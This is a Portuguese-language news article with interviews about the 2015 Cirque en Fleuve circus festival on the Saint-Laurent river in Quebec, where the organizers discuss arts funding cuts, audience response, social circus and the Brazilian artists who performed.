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Cortes na cultura afetam Cirque en Fleuve

 

Marie-Claude e Alain Veilleux no local do "Cirque en Fleuve" 2015 / Foto L´Oie Blanche

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Marie-Claude Bouillon e Alain Veilleux, organizadores do evento, falam de experimentação artística, público e cultura

Bell Bacampos, de Cap-Saint-Ignace, Canadá

“Estamos vivendo uma crise política e econômica – que vai fazer com que haja um retrocesso de 30 anos na vida do país. Os cortes na cultura já são profundos.” A observação não é de analista ou artista brasileiro, mas da circense Marie-Claude Bouillon, do Canadá, uma das organizadoras, ao lado de Alain Veilleux, da 4.ª edição do Cirque en Fleuve (Circo no Rio), que teve sua lona montada às margens do rio Saint-Laurent, ao lado do moinho histórico Vincellote, em um lugar paradisíaco, no município de Cap-Saint-Ignace, distante 100 quilômetros de Quebec. 

Com o agravamento esperado para o próximo ano nos cenários econômico e político do Canadá, Marie-Claude afirma que a realização da 5.ª edição do Cirque en Fleuve vai requerer a busca de fontes alternativas de recursos.

A edição deste ano já exigiu muitos esforços, afirmam os dois organizadores em entrevista ao Panis & Circus. Para Veilleux, a resposta do público foi “fora de série”, o que o animou a tentar criar no local uma residência artística permanente para intercâmbio entre artistas canadenses e de diversas partes do mundo.

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Lona e caminhão do "Cirque en Fleuve"/ Foto Asa Campos

 

Marie-Claude explica a surpresa com a receptividade do público nesta edição do Cirque en Fleuve. “É que nós buscamos a experimentação artística. Havia pessoas na plateia com o olhar treinado para isso, mas as da região, não. E, no entanto, elas entenderam a proposta e gostaram muito. O que me tocou e me surpreendeu. Afinal, o que queremos é tocar as pessoas com nosso trabalho – trazê-los para perto, fazer com que reflitam.” 

 

Cabaré e apresentações às margens do rio 

A 4.ª edição do Cirque en Fleuve foi realizada de 20 a 23 de agosto. O primeiro dia (21/8) de apresentações teve o “Cabaret du Moulin” (Cabaré do Moinho) e o “Cirque à Marée Basse” (Circo na Maré Baixa).

 

A brasileira Beatriz Pantojo em cena de “Cirque à Marée Basse” ao som de violino / Foto Divulgação

 

No segundo dia, sábado 22/8, aconteceram as três apresentações resultantes da “Residência Artística”: o circo multimídia “Dans l’oeil”, o circo-teatro “O Resto é Ruído” da cia. brasileira Artinerant´s,  e o circo-equestre com “Equilibrium”. Em 23/8, foi apresentada a “Jornada Campestre” (mais informações sobre essas apresentações na capa do site). 

Confira a seguir as entrevistas concedidas ao Panis & Circus pelos organizadores do evento, Marie-Claude Bouillon, que também dirige a La Centaurée, um laboratório de circo equestre no Canadá, e Alain Veilleux, trapezista e diretor-artístico do Cirque en Fleuve, que já esteve no Brasil contratado pelo Cirque du Soleil para, em parceria com uma ONG, trabalhar a proposta do circo social. Aqui, manteve encontros e projetos artísticos com grupos como “Teatro do Anônimo”, “Intrépida Trupe”, “Linhas Aéreas” e com artistas que mais tarde criariam o “Circo Zanni”.

 

Alô, alô Brasil 

 

 

Panis & Circus: Como foi a montagem desta 4ª edição do Cirque en Fleuve?

Marie-Claude – Não foi fácil. Estamos passando por uma crise econômica e política. Essa crise pode provocar um retrocesso em relação ao que conquistamos nestes 30 anos. Os cortes de verbas na área cultural já foram profundos neste ano. Acredito que a turbulência vai se estender para 2016, o que aumenta o desafio de montar a 5ª edição. Vamos precisar buscar fontes alternativas de recursos.   

 

Panis & Circus: Como avalia a receptividade do público ao Cirque en Fleuve?

Marie-Claude – Muito boa. O encontro do público com os artistas foi mágico. Nós decidimos apresentar o Cirque en Fleuve, desde sua 1ª edição, no interior do país “countryside” e as pessoas daqui (Cap-Saint-Ignace e arredores) não estão acostumadas a sair para ir ao teatro, cinema ou ouvir música – como é comum nas grandes cidades. Não faz parte do dia a dia deles.

Nós tivemos então de trabalhar duro para trazê-los para dentro da lona. O resultado foi excelente. Ficamos muito felizes com isso. É para que esse encontro aconteça que a gente trabalha.

 

Panis & CircusPor que você ficou surpresa com a  acolhida do público?

Marie-Claude – Fiquei surpresa com a receptividade, porque não é um evento ‘comercial’ – trata-se de uma experimentação artística, que pressupõe recriação e não recreação.

Entre os que assistiram às apresentações, havia os que estavam acostumados a ver um tipo de experimentação artística. Mas as pessoas da região, das pequenas vilas, certamente, elas não estavam acostumadas e gostaram muito. Isso me tocou bastante como artista. Afinal, o que nós queremos é tocar as pessoas com o nosso trabalho – trazê-los para perto, fazer com que reflitam a respeito do que é apresentado. Para mim, isso é arte. É a mesma coisa com a pintura, com a música, com o circo e com o teatro: convidar o público a pensar, refletir, chegar até um canto escondido em que não tinha sido tocado ainda. 

 

 

Panis & Circus: E o que mais a surpreendeu positivamente?

Marie-Claude – Alô, Brasil! Fiquei contente de ver vocês por aqui, um país que fica muito distante do meu (mais de 9 mil quilômetros separam São Paulo de Cap-Saint-Ignace). Nós estamos orgulhosos também de termos conseguido contar com gente tão boa do Brasil nas apresentações do festival. Foi um ótimo encontro artístico (os brasileiros que se apresentaram foram Daniel Pedro, Maíra Campos, Luu Li e Bia Pantojo, que mora em Montreal).

 

“Avisei o público sobre o que iriam ver”

 

Panis & Circus: Você também ficou contente, como Marie-Claude, com o resultado do Cirque en Fleuve em termos de público?

Veilleux – Eu fiquei bem feliz com o resultado. Quebec está a cerca de 100 quilômetros daqui, essa distância funciona como uma barreia simbólica. A população da região vive no campo e em pequenas cidades, está muito espalhada e não tem o costume de sair para ver atividades culturais. Mais: aqui é um eixo turístico que atrai turistas por suas paisagens: rios e ilhas. Não se trata de turismo cultural. Ao considerar esse contexto, eu não poderia deixar de ficar bem feliz com a resposta da população local.

No primeiro dia (21/8), teve um pouco menos gente do que no segundo dia (22/8) – quando a lona estava cheia, não sobrou uma cadeira vazia. É que muitas pessoas que viram as apresentações do primeiro dia contaram para outras. Enfim, funcionou a propaganda boca a boca.

 

Panis & Circus – O público aceitou bem as propostas artísticas?  

Alain Veilleux – Sim, foi muito legal. Esse ano a gente teve três propostas artísticas bem distintas: a primeira tratava o circo-multimídia e foi feita por uma companhia local. A segunda foi o circo-teatro brasileiro, apresentado pela Artinerant´s, e a terceira, dedicada à parte equestre, ficou sob a orientação de Marie-Claude e contou com um artista quebequense, Laurence Tremblay-Vu, e com a brasileira Luu Li. Quando via os espetáculos evoluírem, eu pensava como vai ser isso. O povo daqui é do campo. E nós apresentamos uma proposta que era mais radical, outra que era mais suave, outra que tinha um tempo distinto.

Bom, eu deixei os espetáculos fluírem. Claro que eu acompanhava e tinha de estar seguro de que tudo iria correr bem. E antes de começar as apresentações, eu avisei a plateia que iria ver coisas distintas, que talvez nunca tivesse visto antes. E o público que assistiu foi generoso na sua forma de receber as propostas. Fiquei muito feliz. O público ontem vivenciou uma experiência muito legal. 

 

 

Panis & Circus: Gostaria que você contasse um pouco de sua experiência no Brasil com o circo social?  

Veilleux – Eu vou voltar um pouco no tempo, antes da minha chegada ao Brasil. Por volta dos anos 90, estava em Montreal andando com um trapézio amarrado na traseira da minha bicicleta. Parei em um semáforo e tinha um rapaz de bicicleta do meu lado que falou: ‘Ah, você faz circo?’ Aí eu falei: ‘Sim, eu faço circo’. Ele respondeu: ‘Eu cuido de um circo na Etiópia, um circo de mineiros’ (trabalhadores de minas e suas famílias). Então começamos a conversar e eu falei: ‘Eu vou trabalhar com você’. Ele falou: ‘Tá, pode vir, mas o circo não tem dinheiro’.

Então, eu montei um cabaré artístico em Montreal para conseguir dinheiro e poder tocar o projeto em terras africanas. Acho que foi o primeiro cabaré de circo em Montreal, depois foram surgindo muitos outros. Após ter conseguido dinheiro, fui trabalhar lá – em um circo na Etiópia e fiquei dois meses, mais ou menos, dando aulas e fazendo direção artística.

Quando voltei, o Cirque du Soleil me chamou – aliás, eles me chamaram porque sabiam que eu tinha ido trabalhar na Etiópia. Estavam engajados em um projeto de circo social com meninos de rua.  E aí me chamaram para ajudar no projeto. Eu não tinha, a priori, a vontade de ensinar – entrei mais pela aventura e depois fui me empenhando.

Ao chegar ao Brasil já tinha tido essa experiência prévia. Trabalhei, principalmente, no Rio e no Recife e com diferentes ONGs. A gente começou a criar um projeto, que não tinha um nome, depois passou a ser o Circo no Mundo que existe no Brasil e em diferentes países e conta com uma grande rede. O importante é dizer que essa ideia do circo social, que teve interface com o Canadá, nasceu no Brasil, quando aconteceu a chacina dos meninos de rua (morte de oito jovens em 23 de julho de 1993) no Rio, em frente à igreja da Candelária. A partir dessa tragédia, três organizações se juntaram. O circo social foi criado nesse momento. Um quebequense, que trabalhava no Rio, viu e importou a ideia para o Canadá, e o projeto correu depois pela América do Sul, mas a origem foi o Brasil. 

 


 

Panis & Circus: Foi também nessa época que aconteceu o seu encontro artístico no Brasil?   

Veilleux – Eu estava trabalhando no Brasil e no Chile com a criançada e passei a dar oficinas artísticas à noite para ajudar com recursos o projeto do circo social. E foi aí que eu encontrei toda a galera do Rio dedicada à arte teatral e circense contemporânea como a do “Teatro do Anônimo”, da “Intrépida Trupe” e, em São Paulo, da “Linhas Aéreas” e com artistas que mais tarde criaram o Circo Zanni.

Comecei a frequentar esse meio artístico trabalhando na criação de números ou na direção de espetáculos. No Brasil, portanto, atuei nas duas pontas: circo social e circo contemporâneo.

 

Pesquisa inspirada na natureza

Beatriz Pantojo em sua apresentação às margens do rio Saint-Laurent / Foto Divulgação

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Laurence Tremblay-Vu equilibra-se em tronco de árvore / Foto Divulgação

 

Alain destacou, em sua entrevista ao Panis & Circus, que uma das apresentações dessa 4ª edição do Cirque em Fleuve esteve ligada à natureza – “Cirque à Marée Basse”.       

A brasileira Beatriz Pantojo foi convidada por ele para fazer parte desse projeto. Ginasta, ela mora atualmente em Montreal e trabalhou durante quatro anos no Brasil com o artista circense Kiko Caldas.

“A proposta feita por Veilleux era desenvolver uma pesquisa com acrobacia e dança em harmonia com a natureza – sem o uso de aparelhos. Eu gostei muito de participar”, diz Beatriz, ao lado de seu cachorro Yuri. 

 

Beatriz Pantojo ao lado de seu cachorro Yuri / Foto Asa Campos

 

Essa mesma linha de pesquisa foi adotada pelo aramista canadense Laurence Tremblay.

Em sua apresentação, na primeira noite de espetáculos, Beatriz se valeu dos troncos de uma árvore à beira do Rio Saint Laurent para fazer o seu número de dança. Por sua vez, Laurence usou troncos para montar seu aparelho e, em um deles, equilibrou-se como se fosse o fio de arame.  

“Foram apresentações que misturaram a simplicidade e a sofisticação de movimentos circenses em meio a um cenário feito pela natureza”, afirma a também brasileira e aramista Maíra Campos,  da Cia. Artinerant´s.

 

Vista do local onde aconteceu o "Cirque en Fleuve"/ Foto Asa Campos

 

 

 

Postagem – Alyne Albuquerque

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